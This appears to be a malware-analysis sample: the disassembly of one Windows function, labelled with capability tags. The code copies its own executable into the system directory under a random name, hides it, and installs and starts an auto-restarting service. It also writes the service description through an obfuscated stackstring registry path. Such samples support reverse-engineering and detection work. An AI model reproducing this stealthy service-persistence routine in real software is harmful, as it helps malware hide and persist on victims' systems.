Function at 0x408680
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Get common file path
Modify service
Persist via windows service
Set file attributes
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4103e0
push 0x40f24c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3cc
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x328]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x40882e
push 0x1a
call fcn.004073c0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004073c0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004073c0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004073c0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004073c0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004073c0
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x380]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [ebp - 0x220]
mov edi, 0x413054
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x380]
lea edx, [ebp - 0x220]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x220]
lea edx, [ebp - 0x328]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x328]
push ecx
call fcn.00407d10
add esp, 4
push 2
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x330], ebx
xor edi, edi
mov dword [ebp - 0x32c], edi
mov dword [ebp - 4], edi
push str.OpenSCManagerA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3dc], eax
push 0xf003f
push edi
push edi
call eax
mov esi, eax
mov dword [ebp - 0x32c], esi
cmp esi, edi
je 0x408b3c
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x328]
push eax
push edi
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
mov dword [ebp - 0x330], ebx
push esi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x3c4], eax
mov dword [ebp - 0x384], str.Vwxyab_Defghijk_Mnopqrst_Vwxy
lea eax, [ebp - 0x384]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x3d8], edi
xor ecx, ecx
mov dword [ebp - 0x3d4], ecx
mov dword [ebp - 0x3d0], ecx
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3c8], ecx
mov dword [ebp - 0x3d4], edi
mov dword [ebp - 0x3d8], 0x15180
mov dword [ebp - 0x398], 0x1b58
mov eax, 1
mov dword [ebp - 0x39c], eax
mov dword [ebp - 0x390], edi
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x388], edi
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x3cc], 3
lea edx, [ebp - 0x39c]
mov dword [ebp - 0x3c8], edx
mov dword [ebp - 0x3d0], edi
lea eax, [ebp - 0x3d8]
push eax
push 2
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ecx, dword [ebp - 0x3c4]
push ecx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp ebx, edi
jne 0x4089a2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x4089a2
push 0xf01ff
mov edx, dword [ebp + 8]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
mov dword [ebp - 0x330], ebx
cmp ebx, edi
je 0x408b3c
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x408b3c
mov dl, 0x53
mov byte [ebp - 0x3c0], dl
mov byte [ebp - 0x3bf], 0x59
mov byte [ebp - 0x3be], dl
mov byte [ebp - 0x3bd], 0x54
mov byte [ebp - 0x3bc], 0x45
mov byte [ebp - 0x3bb], 0x4d
mov byte [ebp - 0x3ba], 0x5c
mov byte [ebp - 0x3b9], 0x43
mov byte [ebp - 0x3b8], 0x75
mov cl, 0x72
mov byte [ebp - 0x3b7], cl
mov byte [ebp - 0x3b6], cl
mov al, 0x65
mov byte [ebp - 0x3b5], al
mov byte [ebp - 0x3b4], 0x6e
mov byte [ebp - 0x3b3], 0x74
mov byte [ebp - 0x3b2], 0x43
mov byte [ebp - 0x3b1], 0x6f
mov byte [ebp - 0x3b0], 0x6e
mov byte [ebp - 0x3af], 0x74
mov byte [ebp - 0x3ae], cl
mov byte [ebp - 0x3ad], 0x6f
mov byte [ebp - 0x3ac], 0x6c
mov byte [ebp - 0x3ab], dl
mov byte [ebp - 0x3aa], al
mov byte [ebp - 0x3a9], 0x74
mov byte [ebp - 0x3a8], 0x5c
mov byte [ebp - 0x3a7], dl
mov byte [ebp - 0x3a6], al
mov byte [ebp - 0x3a5], cl
mov byte [ebp - 0x3a4], 0x76
mov byte [ebp - 0x3a3], 0x69
mov byte [ebp - 0x3a2], 0x63
mov byte [ebp - 0x3a1], al
mov byte [ebp - 0x3a0], 0x73
mov byte [ebp - 0x39f], 0x5c
mov byte [ebp - 0x39e], 0
lea edi, [ebp - 0x3c0]
lea edx, [ebp - 0x11c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor edi, edi
mov esi, dword [ebp - 0x32c]
mov dword [ebp - 4], 0xffffffff
call fcn.00408b67
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret